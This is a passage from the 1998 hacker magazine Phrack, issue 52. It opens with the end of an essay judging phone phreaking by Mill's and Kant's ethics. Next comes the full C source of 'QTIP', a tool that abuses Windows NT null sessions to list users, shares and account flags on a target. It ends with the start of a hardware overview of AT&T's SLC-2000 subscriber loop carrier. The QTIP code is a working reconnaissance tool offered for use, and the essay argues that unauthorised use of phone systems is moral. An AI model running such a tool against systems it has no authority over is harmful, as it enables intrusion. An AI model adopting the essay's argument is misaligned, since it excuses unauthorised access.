individuals' happiness. It is in the same way that Mill argues
the pursuit of virtue can be reconciled with the pursuit of
happiness that knowledge can also be reconciled (Mill, 35-37).
Phreaking does have a benefit to the individuals that are
involved in its practice. This benefit is in the form of a gain
of knowledge concerning the phone systems. This knowledge is
gained in generally one of two ways, both of which are common
methods of learning and the reader will recognize. The first is
through experimentation and exploration. By accessing the phone
switch, phreakers are able to experiment with its capabilities
and teach themselves how to operate it. In the second case, the
phone switches that phreakers have learned to use are utilized as
a method of communication with other phreakers. The free
communication that comes about as a result of the phone system
knowledge that has been gained allows phreakers to exchange new
information and teach each other, either as peers or through a
teacher-pupil relationship, even more about the phone system. In
both cases, knowledge is gained, and as knowledge is a part of a
phreaker's happiness, the general happiness of the world is
increased.
Any negative impact phreaking has is minimal, and indirect.
The resources that are being used are possessed by phone
companies, corporations. A corporation of itself is not a moral
being, but a corporation has an effect on three different types
of people: stock holders, employees, and consumers.
A stock holder's interest in a corporation is purely on the
profits that it produces. Stockholders could be negatively
effected by phreakers if a phreaker causes a loss of revenue, or
an increase in costs. A loss in revenue for a phone company can
only occur if the phreaker uses some resource that if not in use
would otherwise be used by a paying customer, or if the phreaker
herself would have paid for the resource utilization if it had
not been attainable for free. In the first case, phone systems
use a technique called multiplexing to handle simultaneous phone
calls between switches. If a phone system is below capacity,
there are empty time slices or frequencies (depending on type of
trunk) in the data that is transmitted between switches. Adding
a new connection between switches involves only filling one of
these idle slots, with no degradation of quality for existing
phone calls, and no marginal cost associated with the additional
call. It is only in the case where a phone system is filled to
capacity that a phreaker using a slot would prevent an existing
customer from using the phone system, resulting in a loss of
revenue. In fact, phreakers being more cognizant of this fact
that the general public will purposely explore the phone system
when it is at its lowest capacity times (late at night and on
weekends) just to avoid this situation.
The second part of the stock holders interests is that a
phreaker would potentially pay for the phone calls she is making
for free. An attraction of phreaking is that it does not cost
money to involve ones self in, and most phreakers first start in
their youth when they do not have access to being able to pay for
phone calls to other phreakers, or even more to the point there
is no price they could pay to gain access to a switch. If the
phone company were to make this available at a price to
phreakers, almost universally they would not be able to afford
the price, and would have to stop their gains in knowledge in
that subject. This would not result in any additional revenue
for the phone company, only a loss of knowledge that the phreaker
could have otherwise gained.
Employees are only impacted if they are either aware of
something occurring, or have to perform some activity as a result
of a phreaker's activities. However, a phreaker only interacts
with the phone company's equipment in an under utilized state,
and not with employees. Further, phreakers do not cause damage
or interfere with the operation of the phone company's equipment,
and so require no employee intervention. In this manner, no
employees are affected by phreakers.
Finally, consumers are also not negatively impacted by
phreakers. A phreaker's interactions with switches does not
cause any disruptions in service or prevent consumers from using
the same switches simultaneously. Further, there is no
interaction that takes place with consumers as a result of a
phreaker's activities, and so they are never impacted in any
manner.
It is possible there can be a negative impact as a result of
the perception of phreakers and based on people with different
moral viewpoints than the utilitarian view. Some people are
scared by a phreaker's knowledge, and some people are intent on
protecting their resources even from those with moral pursuits.
These people may become agitated as a result of a phreaker's
activities, and although they have no utilitarian reason to be,
their agitation should still be considered. However, weighing
the moral righteousness of the knowledge being gained, an
agitation seems to be greatly outweighed. Based on these
criteria, it is clear from the utilitarian viewpoint phreaking is
overall beneficial and is morally right.
In contrast to the views of Mill, Immanuel Kant would not
find phreaking to be a moral act. In order to find an act moral
from a Kantian perspective, it must be in accord with duty (Kant,
9), universalized (Kant, 14), and then tested for a contradiction
in thought (Kant, 32) or a contradiction in will (Kant, 32). If
an action does not succeed in passing these tests, it can not be
a moral act.
The goal of phreaking, the pursuit of knowledge, is in
accordance with duty. An individual has an inclination towards
improving himself, gaining knowledge being one way of doing so,
so this would be an imperfect duty to self (Kant, 31).
There are several possible manners in which the act of
phreaking could be universalized. One could say "all people
should use the phone system without paying in order to pursue
knowledge." This is not a contradiction in thought, a phone
system that allowed anyone pursuing knowledge to use it free of
charge could exist and persist. However, there would be two
major results of having this sort of system. First, the loss in
revenue from large numbers of people no longer paying would
result in those communicating when not pursuing knowledge
subsidizing those that were. Second, a free phone system would
have an enormous increase in usage, causing it to reach its
capacity quickly and preventing it from being available to those
who needed to use it. Nobody wants to have to spend hours
attempting to make a phone call in order to get through, and so a
system of this type is a contradiction in will for most people,
and would thus not be moral.
A preferred universalization of phreaking would be "all
people interested in gaining knowledge should be able to freely
use unutilized corporate resources in order to do so." The goal
of a corporation is to maximize profits. If a corporation has
under utilized resources with a value, it is in the company's
interest to produce additional revenue based on those resources.
If a company does not have under utilized resources, it does not
apply to this universalization. The final case is if a company
has under utilized resources, but the resources have no value.
If they have no value, of what use would the resource be to a
person interested in gaining knowledge (i.e. if it was useful to
someone, it would have value). So it is a contradiction of
thought for a company to have an under utilized resource of value
for an extended period of time; if those seeking knowledge are
able to recognize an under utilized resource with value, then the
company would quickly realize that resource does have value, and
utilize its value for profit or else sell the resource off.
Because there is no manner in which phreaking can be
universalized so as to preserve its intent and not provide a
contradiction of thought or will, it can not be a moral act in
accordance with the views of Kant.
In analyzing which of Mill or Kant has a more solid
argument, it becomes clear that neither philosophy is ideal for
all situations. Both the utilitarian and Kantian viewpoints have
disadvantages that are addressed below, however as a whole the
Mill utilitarian view of phreaking provides a more rational view
that is applicable to those who are phreakers.
First, the utilitarian viewpoints of Mill only considers the
individual act in the context of the current state of the world
in deciding if it is moral That is, a single act may in all
cases contribute to the general happiness of the world, but it
may also leave the world changed in some other respect that does
not add to or take away from the general happiness. However, the
change that has taken place may very will have an impact on how
that same act or a completely unrelated act would impact the
world so as to make what was once moral now immoral. Although
the potential for alternative moral acts remain in that world,
and so you have not reduced its potential for happiness, what it
has done is impacted the available choices of others in how they
can go about acting in a moral manner. This is not a concern of
Mill, but of those interested in freedom, as an end to itself,
actions promoting the general happiness may adversely affect the
freedom of others to act in a moral manner.
The view Kant gives of morality provides that if an act can
not be universally applied, it can not be morally right. In the
case of phreaking, is it possible that it is at some point for
some people a morally right act to phreak, but not for all people
at all times? The basis for this argument is that there are some
people who are both honestly extremely interested in the phone
systems and do not have the resources to explore their interest
in any reasonable fashion for some period of time. The typical
case is with a phreaker is a young adolescent that has become
intrigued with phones. I would contend that for one that is
truly interested in learning and has no alternative means, that
it is morally right for that person to phreak.
However, as that person grows older and gains access to
resources, alternative means become available for him to continue
to learn about the phone systems (money buys resources, a job at
the phone company provides an immense opportunity to learn). At
the point where alternative means are available, it is no longer
moral for that person to phreak. Where exactly that point occurs
is a blurred line, but it is certainly not a universal law as
Kant would imply.
In summary, the subject of phreaking is certainly a
controversial subject and would be viewed by many as an out of
hand immoral activity. But, at closer examination it is actually
something that is done for very moral reasons and although the
morality of a phreaker may not necessarily correspond to the
morality of all others in society, it is certainly in the mind of
the true phreaker a moral activity in which they are engaging,
with intelligent rational premises backing up their moral views.
Although Kant may not agree with the moral views that are held by
the phreaker, the individual circumstances confronted by the
individual are not considered and if morality can be decided on
an individual basis, as Mill allows, then it may just be that the
Kantian view may be too restricting to account for contemporary
issues faced in today's technological society.
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 10 of 20
-------------------------[ a Quick nT Interrogation Probe (QTIP)
--------[ twitch
----[ INTRODUCTION
As you probably already know, certain LanMan derivatives (most notably
Windows NT) sport a stupid feature known as `null sessions`. Null sessions
allow server connections to be established without the hassle and rigmarole of
username or password authentication. This is reportedly to ease
administrative tasks (UserManager and ilk utilize them). Also, such silliness
such as the RedButton bug have shown (although in poor form) that an
interested/malicious third party can gleen quite a bit of info from `Press any
key to return to index`. Once established, these connections default to having
permissions to display enumerated user and share lists, get information about
particular users, wander the registry, etc. QTIP takes advantage of this,
allowing the user to procure far too much information about the target
machine. It employs no black magic or hidden technique to do this. QTIP
works via straight API calls.
As of service pack 3 for NT 4.0, it is possible for the `informed` system
administrator to block null sessions through the registry, effectively
nullifying any threat from QTIP. I do not, however, believe that there is
such a patch for 3.5.1 machines. Also, it has not been tested against SAMBA
servers, and as far as the author knows, SAMBA does not support something as
asinine as null sessions (anyone who knows any differently is invited to mail
corrections to the author, or directly to Phrack Magazine).
To prevent these sorts of shenanigans from happening remotely across the
Internet, the concerned system administrator can block NBT traffic at the
gateway (this sort of traffic should not be allowed to/from the Internet as
standard fare). If you are running NT 4.0, install the service packs, and set
the appropriate registry values to disable the attack. Or use OpenBSD.
----[ THE CODE
QTIP has a few options. qtip -h supplies the following info:
usage qtip[asughv]
-s: get share list
-u: get user list
-g : get infos about
-d: leave connection established on exit
-a: -s + -u
-h, -?: display this help
-v: be verbose (use twice to be garrulous)
Seems rather self explanatory. If the verbose flag is set, then -u
implies a recursive -g. -d is handy if you plan to take a look at the
registry as well (there's gold in them thar hills). Omission of all flags just
establishes a null session and exits. can be a fully-qualified
domain name, ip address, or UNC format. The code compiles like a dream under
visual c 4.1. There is no makefile included, just link the code against
kernel32.lib, libc.lib and wsock32.lib. This program is most useful wrapped
in scripts with something like tping(ip sweeper), and maybe a few registry
inquisition perl scripts. Feel free to redistribute, just give props where
props are due, and please let me know if you make any interesting changes.
qtip/qtip.h
/*
* qtip.h
* 12/04/1997
* twitch
* twitch@aye.net
*
* a quick nt investigative probe. (mis)uses null sessions to collect
* sundry information about a WindowsNT server. distribute as you
* please. be alert, look alive, and act like you kow.
*
* '...i should dismiss him, in order to teach him that pleasure consists
* not in what i enjoy, but in having my own way.'
* -sk, either/or
*/
#include
#include
#include
#include "lm.h"
#define k16 16384
#define TARG_LEN 255
#define USER_LEN 22
void handle_error(DWORD);
void prepend_str(char *, char*);
int open_session();
int procure_userlist();
int procure_sharelist();
void parse_cl(int, char **);
void usage(char *);
int powerup(int, char **);
void bail(const char *);
int close_session();
void get_usr_info(wchar_t *);
/* couple o globals to make my life easier */
u_int OPT_SHARES, OPT_USERS, OPT_GETUI;
u_int OPT_NODEL, VERB;
char target[TARG_LEN];
WCHAR utarg[TARG_LEN];
WCHAR user[USER_LEN];
NETRESOURCE nr;
qtip/qtip.c
/*
* qtip.c
* 10/04/1997
* twitch
* twitch@aye.net
*
* a quick nt investigative probe
* link against kernel32.lib, libc.lib and wsock32.lib.
* qtip -h for usage. distribute as you please.
*
*/
#include "qtip.h"
int main(int argc, char *argv[])
{
if( (powerup(argc, argv)) )
return(1);
if( (open_session()) != 0)
return(1);
if(OPT_SHARES)
procure_sharelist();
if(OPT_USERS)
procure_userlist();
if(OPT_GETUI)
get_usr_info(utarg);
close_session();
return(0);
}
int open_session()
{
DWORD r;
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpProvider = NULL;
nr.lpRemoteName = target;
if(VERB)
printf("establishing null session with %s...\n", target);
r = WNetAddConnection2(&nr, "", "", 0);
if(r != NO_ERROR){
handle_error(r);
return -1;
}
if(VERB)
printf("connection established\n");
return 0;
}
/*
* procure_userlist()
* just use the old lm NetUserEnum() because there isnt comparable
* functionality in the WNet sect. i just wish the win32 api was
* more bloated and obtuse.
*/
int procure_userlist()
{
NET_API_STATUS nas;
LPBYTE *buf = NULL;
DWORD entread, totent, rhand;
DWORD maxlen = 0xffffffff;
USER_INFO_0 *usrs;
unsigned int i;
int cc = 0;
entread = totent = rhand = nas = 0;
if( (buf = (LPBYTE*)malloc(k16)) == NULL)
bail("malloc probs\n");
if(VERB)
wprintf(L"\ngetting userlist from %s...\n", utarg);
nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand);
if(nas != NERR_Success){
fprintf(stderr, "couldnt enum users, ");
handle_error(nas);
goto cleanup;
}
cc = sizeof(USER_INFO_0) * entread;
if( (usrs = (USER_INFO_0 *)malloc(cc)) == NULL){
fprintf(stderr, "malloc probs\n");
goto cleanup;
}
memcpy(usrs, *buf, cc);
for(i = 0; i < entread; i++){
wcscpy(user, usrs[i].usri0_name);
wprintf(L"%s\n", user);
if(VERB)
get_usr_info(utarg);
}
cleanup:
if(buf)
free(buf);
return 0;
}
/*
* get_user_info()
* attempt to gather some interesting facts about
* a user
*/
void get_usr_info(LPWSTR utarg)
{
NET_API_STATUS nas;
USER_INFO_1 usrinfos;
LPBYTE *buf = NULL;
if( !(buf = (LPBYTE *)malloc(sizeof(USER_INFO_1))) )
bail("malloc probs\n");
nas = NetUserGetInfo(utarg, user, 1, buf);
if(nas){
fwprintf(stderr, L"couldnt get user info for for %s, ", user);
handle_error(nas);
}
else{
memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));
/* most of these will never happen, but nothings lost trying */
if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
printf("\t-password not required, how about that.\n");
if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
printf("\t-account disabled\n");
if( (UF_LOCKOUT & usrinfos.usri1_flags) )
printf("\t-account locked out\n");
if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
printf("\t-password doesnt expire\n");
if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
printf("\t-user cant change password\n");
if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
printf("\t-account for some other box in this domain\n");
if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
printf("\t-account for what is prolly the BDC\n");
if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
printf("\t-interdomain permit to trust account\n");
}
free(buf);
}
/*
* procure_sharelist()
* strangely enough, this retrieves a sharelist from target
*/
int procure_sharelist()
{
DWORD r;
DWORD bufsize = 16384, cnt = 0xFFFFFFFF;
HANDLE enhan;
void *buf;
NETRESOURCE *res;
u_int i;
if( (buf = malloc(bufsize)) == NULL){
fprintf(stderr, "malloc probs, bailing\n");
return -1;
}
nr.dwScope = RESOURCE_CONNECTED;
nr.dwType = RESOURCETYPE_ANY;
nr.dwDisplayType = 0;
nr.dwUsage = RESOURCEUSAGE_CONTAINER;
nr.lpLocalName = NULL;
nr.lpRemoteName = (LPTSTR)target;
nr.lpComment = NULL;
nr.lpProvider = NULL;
r = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
RESOURCEUSAGE_CONNECTABLE, &nr
, &enhan);
if(r != 0){
free(buf);
printf("open_enum failed, sorry- ");
handle_error(r);
return -1;
}
r = WNetEnumResource(enhan, &cnt, buf, &bufsize);
if(r != 0){
free(buf);
printf("enum_res failed- ");
handle_error(r);
return -1;
}
res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE));
if(res == NULL){
free(buf);
printf("malloc probs, i wont be listing shares.\n");
return -1;
}
memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) );
for(i = 0; i < cnt; i++){
if(VERB)
printf("\nshare name:\t");
printf("%s\n", res[i].lpRemoteName);
if(VERB){
printf("share type:\t");
if(res[i].dwType = RESOURCETYPE_DISK)
printf("disk");
else
printf("printer");
printf("\ncomment:\t%s\n", res[i].lpComment);
}
}
free(buf);
free(res);
return 0;
}
/*
* close_session()
* clean up our mess
*/
int close_session()
{
DWORD r;
WSACleanup();
if(!OPT_NODEL)
r = WNetCancelConnection2(target, 0, TRUE);
if(r != 0){
fprintf(stderr, "couldnt delete %s, returned %d\n", target, r);
return -1;
}
else{
if(VERB)
printf("connection to %s deleted\n", target);
}
return 0;
}
/*
* handle_error()
* util function to deal with some errors.
*/
void handle_error(DWORD err)
{
switch(err){
case ERROR_ACCESS_DENIED:
fprintf(stderr, "access is denied.\n");
break;
case ERROR_BAD_NET_NAME:
fprintf(stderr, "bad net name.\n");
break;
case ERROR_EXTENDED_ERROR:
fprintf(stderr, "an extended error occurred.\n");
break;
case ERROR_INVALID_PASSWORD:
fprintf(stderr, "invalid password.\n");
break;
case ERROR_LOGON_FAILURE:
fprintf(stderr, "bad username or password.\n");
break;
case NO_ERROR:
fprintf(stderr, "it worked\n");
break;
case ERROR_BAD_NETPATH:
fprintf(stderr, "network path not found.\n");
break;
default:
fprintf(stderr, "a random error occurred (%d).\n", err);
}
}
/*
* prepend_str()
* util funk to prepend chars to a string
*/
void prepend_str(char *orgstr, char *addthis)
{
orgstr = _strrev(orgstr);
addthis = _strrev(addthis);
strcat(orgstr, addthis);
orgstr = _strrev(orgstr);
}
/*
* parse_cl()
* try and make sense of the command line. no, i dont have a win32 getopt.
* yes, i know i should
*/
void parse_cl(int argc, char **argv)
{
int i, cc;
char opt;
DWORD r;
OPT_SHARES = OPT_USERS = VERB = 0;
for(i = 1; i < (argc); i++){
if( (*argv[i]) == '-'){
opt = *(argv[i]+1);
switch(opt){
case 'a':
OPT_SHARES = 1;
OPT_USERS = 1;
break;
case 's':
OPT_SHARES = 1;
break;
case 'u':
OPT_USERS = 1;
break;
case 'g':
OPT_GETUI = 1;
if( (strlen(argv[i+1])) > USER_LEN)
bail("username too long (must be < 21)");
ZeroMemory(user, USER_LEN);
cc = strlen(argv[++i]);
r = MultiByteToWideChar(CP_ACP, 0, argv[i], cc, user, (cc + 2));
break;
case 'd':
OPT_NODEL = 1;
break;
case 'v':
VERB++;
break;
default:
if( (opt != 'h') && (opt != '?') )
fprintf(stderr, "unknown option '%c'\n", opt);
usage(argv[0]);
break;
}
}
}
if( (OPT_SHARES) && (VERB) )
printf("listing shares\n");
if( (OPT_USERS) && (VERB) )
printf("listing users\n");
if( (OPT_GETUI) && (VERB) )
wprintf(L"getting infos about user %s\n", user);
if(VERB)
printf("verbosity = %d\n", VERB);
}
/*
* powerup()
* just init stuff and parse the command line
*/
int powerup(int argc, char **argv)
{
struct hostent *hent;
u_long addie;
WORD werd;
WSADATA data;
char buf[256];
int cc = 0, ucc = 0;
if(argc < 3)
usage(argv[0]);
parse_cl(argc, argv);
ZeroMemory(buf, 256);
strcpy(buf, argv[argc - 1]);
/* if not unc format get the ip */
if(buf[0] != '\\'){
if(VERB > 1)
printf("target not in unc\n");
werd = MAKEWORD(1, 1);
if( (WSAStartup(werd, &data)) !=0 )
bail("couldnt init winsock\n");
hent = (struct hostent *)malloc(sizeof(struct hostent));
if(hent == NULL)
bail("malloc probs\n");
if( (addie = inet_addr(buf)) == INADDR_NONE){
hent = gethostbyname(buf);
if(hent == NULL){
fprintf(stderr, "fatal: couldnt resolve %s.\n", buf);
return -1;
}
ZeroMemory(buf, 256);
strcpy(buf, inet_ntoa(*(struct in_addr *)*hent->h_addr_list));
}
prepend_str(buf, "\\\\");
}
else
fprintf(stderr, "target already in unc\n");
if( (strlen(buf) > (TARG_LEN - 1)) ){
free(buf);
bail("hostname too long (must be < 255 chars.)");
return -1;
}
ZeroMemory(target, TARG_LEN);
strcpy(target, buf);
ZeroMemory(utarg, TARG_LEN);
cc = strlen(target);
ucc = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, target, cc, utarg, cc);
if(ucc < 1){
bail("unicode conversion probs, sorry");
return -1;
}
return 0;
}
void usage(char *prog)
{
fprintf(stderr, "usage: %s [asughv] \n", prog);
fprintf(stderr, "\t-s:\t\tget share list\n");
fprintf(stderr, "\t-u:\t\tget user list\n");
fprintf(stderr, "\t-g: \tget infos about just \n");
fprintf(stderr, "\t-d:\t\tleave connection established on exit\n");
fprintf(stderr, "\t-a:\t\t-s + -u\n");
fprintf(stderr, "\t-h, -?:\t\tdisplay this help\n");
fprintf(stderr, "\t-v:\t\tbe verbose (use twice to be garrolous)\n");
exit(0);
}
/*
* bail()
* just whine and die
*/
void bail(const char *msg)
{
fprintf(stderr, "fatal: %s\n", msg);
close_session();
exit(1);
}
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 11 of 20
-------------------------[ The Subscriber Loop Carrier (slick)
--------[ Voyager[TNO]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
I............................................... Overview
II.............................................. The Central Office Terminal
III............................................. The Remote Terminal
IV.............................................. SLC-2000 Shelves
V............................................... Where might you find an RT?
VI.............................................. SLC Interface Software
VII............................................. SLC Glossary
VIII............................................ SLC Vendors
+----------+
| Overview |
+----------+
A Subscriber Loop Carrier (SLC) (often pronounced "slick") is a
multiplexer which allows a large number of analog lines to be provided
over a very small number of digital lines. A good example is the AT&T
SLC 5, which allows 192 subscriber loops to be provided through two or
four digital lines. SLCs are also referred to as Digital Loop Carriers
(DLCs).
The first SLC was installed in 1971. As of 1995, between 5 and 10% of
all lines are served by SLCs, as are roughly 50% of all new lines built
each year. SLCs are available from quite a few vendors. This article
focuses on the extremely popular SLC-2000 from AT&T.
A SLC usually consists of two separate subsystems, the Central Office
Terminal (COT) and the Remote Terminal (RT). The COT is connected to
the RT via a DS1 circuit. The DS1 circuit may be carried over actual T1
lines, or it may be carried over another medium such as lightwave or
digital radio. The RT is then connected to the subscribers using a
Voice Frequency (VF) circuit. The VF circuit is what you and I would
recognize as our normal phone line.
This diagram illustrates a subscriber loop constructed using an SLC:
+---------+
| | /---------\
| Central | +----+ /-----------\
| Office | | |
| | --- DS1 circuit --- | RT | --- VF circuit -- | Residence |
| (COT) | | | | |
| | +----+ +-----------+
+---------+
+-----------------------------+
| The Central Office Terminal |
+-----------------------------+
The SLC-2000 COT is a modular design usually consisting of the following
components:
. Access Resource Manager (ARM) shelf
. Metallic Distribution Assembly (MDS) shelves
. Heat Baffles
. Alarm and Test Unit (ATU)
+--------------------------+
| | | | | | | | | | || | | | | | | | | | | | | | | | | | | | | | | | | | | |
| ||.|:|:|:|:|:|:|.|.|:|.|.|.|.|.|.|.|.|:|:|:|:|:|:|:|:| |
| ||.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.| | | | | | | | | |-\
/-| |------------------------------------+ | | | | | | | | | |
| | || |o|o| | | | | ||| | | | | | | | | |---------------| | |
| | ||.|o|o| | | | | |:|:|:|:|:|:|:|:|:|:|.|.|.|.|.|.|.|.| | |
| \-> ||.| | | | | | | | |:|:|:|:|:|:|:|:|:| | | | | | | | | >-/ |
| ||.| | | | | | | | | | | | | | | | | | | | | | | | | | |
| +----------------------------------------------------- |
| | | | | | | | | | |
| \ / \ \ / / | | \-- Test Head Controller (THC) |
| | \ / | \-- System Controller (SYSCTL) |
| | | \-- Overhead Controller (OHCTL) |
| | \-- STS-1 Multiplexer (MXRVO) |
| \--- Optical Line Interface Unit (OLIU) |
\-- Synchronous Timing Generator (TGS) |
Bandwidth Management Complex --/
The User Interface Panel (UIP) represents the highest level of
interaction possible with the SLC-2000 without plugging some other
piece of equipment into it. Here is a close-up of the User Interface
Panel:
Abnormal -->\
AMD (Alphanumeric Message Display) -->\ NE Activity >--\ |
Attention -->\ | Major -->\ | |
Panel Fault -->\ | | Critical -->\ | | |
// | | | |||||| | | | | | | | | | | |
Power test | | | |||||| | | | | | | | | | | |
points -->/ | | |||||| | | | | | | | | | | |
CIT connector -->/ | |||||| | | | | | | | | | | |
DDS clock conn. -->/ |||||| | | | | | | | | | | |
DDS Maintenance Jack -->/||||| | | | | | | | | | | |
DS0 Maintenance Jack -->/|||| | | | | | | | | | | |
DS1 Maintenance Jack -->/||| | | | | | | | | | | |
T-R Maintenance Jack -->/|| | | | | | | | | | | |
T1-R1 Maintenance Jack -->/| | | | | | | | | | | |
E&M Maintenance Jack -->/ | | | | | | | | | | |
Power -->/ | | | | | | | | | |
Scroll Buttons ->/ | | | | | | | | |
Enter -->/ | | | | | | | |
Escape -->/ | | | | | | |
LED Test -->/ | | | | | |
ACO -->/ | | | | |
Update -->/ | | | |
Minor -->/ | | |
Power Minor ->/ | |
FE Activity -->/ |
Session -->/
There are many connections on the UIP. The Electrostatic Discharge
(ESD) ground jack is for a static control wrist strap. The Craft
Interface Terminal (CIT) connector is a DB-25 for plugging in a CIT or a
PC running terminal emulation software. The DDS clock connector
provides a clock source for test sets. The Power Test Points allow you
to monitor the -48v power to the unit.
There are many LED's on the UIP. The Attention LED is yellow when the
there is something new on the Alphanumeric Message Display (AMD). The
Panel Fault LED is red when the UIP is in need of repair. The Power LED
is green when -48v power is present. The Power Minor LED is yellow when
the system is operating on battery power. The Alarm Cut Off (ACO) LED is
green when the ACO button has been pressed during an alarm. The
Critical LED is red when a failure has caused a loss of service for 128
or more customers. The Major LED is red when a failure has caused a
loss of service for 24 or more customers. The Minor LED is yellow when
an error exists, but is not causing a loss of service to any customers.
The Near End (NE) Activity LED is yellow when the local terminal has
some alarm condition. The Far End (FE) Activity LED is yellow when the
remote terminal has some alarm condition. The Abnormal LED is yellow
when the SLC-2000 is not in a mode that provides service, such as a test
mode. The Session LED is yellow when a technician has a CIT connected to
the remote terminal.
The most interesting part of the UIP is the Alphanumeric Message Display
(AMD) and the buttons associated with its use. The AMD displays a
single 24 character line of text. The scroll buttons may be pushed to
move forward and backward through various menu choices. The and
keys work just as you might imagine.
Three types of messages appear on the User Interface Panel (UIP):
. Automatic Messages
. Fault Messages
. Alarm Messages
Automatic Messages are triggered by pressing certain buttons,
UIP or PDC unavailability, and SYSCTL installation.
Fault Messages are displayed when the RETRIEVE-FAULTS command is
selected on the UIP.
Alarm Messages are displayed when the RETRIEVE-ALARMS command is
selected on the UIP.
The Automatic Messages are:
. PANEL FAULT
. MN:NE:pdc unavail
. UPDATE: In-Progress
. UPDATE: done
. SONET SUBSYS UPDATE done
. SYSCTL INITIALIZATION
. SYSCTL EXTENDED INITZN
. SYSCTL EXTND INITZN done
. STATUS -LOCAL SONET
. STATUS -LOCAL SONET SITE
. STATUS -REMOTE SITE 1
. STATUS -REMOTE SITE 2
. STATUS -REMOTE SITE 3
. STATUS -REMOTE SITE 4
. STATUS -REMOTE SITE 5
. STATUS -REMOTE SITE 6
. STATUS -REMOTE SITE 7
. STATUS -REMOTE SITE 8
"PANEL FAULT" indicates that the User Interface Panel (UIP) has
failed and is unable to communicate with the Provisioning
Display Controller (PDC).
"MN:NE:pdc unavail" indicates that the Provisioning Display
Controller (PDC) is unable to communicate with the User
Interface Panel (UIP) because it has failed, or because software
installation on the PDC is in progress.
"UPDATE: In-Progress" indicates that the UPDATE button has been
pressed and that an update is in progress. (See "Update button"
below.)
"UPDATE: done" indicates that an Update has been completed in
response to the use of the UPDATE button.
"SONET SUBSYS UPDATE done" indicates that an Update has been
completed in the SONET subsystem in response to the use of the
UPD/INIT button on the SYSCTL.
"SYSCTL INITIALIZATION" appears for 10 seconds after a SYSCTL
with working software has been inserted. If the UPD/INIT button
on the SYSCTL is pressed while this message is displayed, the
SYSCTL will reset all SONET parameters to their factory
defaults.
"SYSCTL EXTENDED INITZN" appears after SYSCTL INITIALIZATION has
been completed.
"SYSCTL EXTND INITZN done" appears after SYSCTL EXTND INITZN has
been completed.
"STATUS -LOCAL SONET" indicates the User Interface Panel (UIP)
indicators reflect the alarm status of the local system only.
The letter "L" is displayed in the SYSCTL 7-segment display.
This occurs when the user toggles the Far-End Select (FE SEL)
button on the SYSCTL.
"STATUS -LOCAL SONET SITE" indicates the User Interface Panel
(UIP) indicators reflect the combined alarm status of all the
SONET network elements at the local site. The SITE ID and a '.'
is displayed in the SYSCTL 7-segment display. This occurs when
the user toggles the Far-End Select (FE SEL) button on the
SYSCTL.
"STATUS -REMOTE SITE x" indicates the User Interface Panel (UIP)
indicators reflect the alarm status of REMOTE SITE x. The
number "x" is displayed in the SYSCTL 7-segment display. This
occurs when the user toggles the Far-End Select (FE SEL) button
on the SYSCTL.
There are several other miscellaneous buttons on the UIP. The LED Test
button lights up all of the LED's to allow quick identification of burnt
out LED's. The Alarm Cut Off (ACO) button shuts off the current alarm
condition. The Update button operates much like the "Detect New
Hardware" icon in Windows95, except that on the SLC-2000 it never locks
up your system.
Metallic Distribution Shelf (MDS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The MDS provides control and distribution for Data Service 0 (DS0) and
Fiber In The Loop (FITL) interfaces.
The following diagram roughly illustrates an MDS shelf assembly in a
metallic configuration:
+-----------------------------------------------------------------------+
|* AT&T ##== ##== ##== ##== ##== ##== Metallic Distribution Shelf |
|-----------------------------------------------------------------------|
|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|
| :| :| :| :| :| :| :| :| :| *| *| *| *| *| *| :| :| :| :| :| :| :| :| :|
| :| :| :| :| :| :| :| :| :| *| *| | | *| *| :| :| :| :| :| :| :| :| :|
|=:|=:|=:|=:|=:|=:|=:|=:|=:| | | | | | |=:|=:|=:|=:|=:|=:|=:|=:|=:|
|=:|=:|=:|=:|=:|=:|=:|=:|=:| *| | | | | *|=:|=:|=:|=:|=:|=:|=:|=:|=:|
| || || || || || || || || || || || || || || || || || || || || || || || ||
|!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||
|-----------------------------------------------------------------------|
|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|
| :| :| :| :| :| :| :| :| :| *| *| *| *| *| *| :| :| :| :| :| :| :| :| :|
| :| :| :| :| :| :| :| :| :| *| *| | | *| *| :| :| :| :| :| :| :| :| :|
|=:|=:|=:|=:|=:|=:|=:|=:|=:| | | | | | |=:|=:|=:|=:|=:|=:|=:|=:|=:|
|=:|=:|=:|=:|=:|=:|=:|=:|=:| *| | | | | *|=:|=:|=:|=:|=:|=:|=:|=:|=:|
| || || || || || || || || || || || || || || || || || || || || || || || ||
|!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||
+-----------------------------------------------------------------------+
MDS upper and lower shelves are numbered from bottom to top. On the
left and right side of each shelf half are 12 channel units (only 9 are
pictured in the ASCII diagram). In the middle of each shelf half are
the common units.
The following diagram roughly illustrates an MDS shelf assembly in a
Fiber In The Loop (FITL) configuration:
+-----------------------------------------------------------------------+
|* AT&T ##== ##== ##== ##== ##== ##== Metallic Distribution Shelf |
|-----------------------------------------------------------------------|
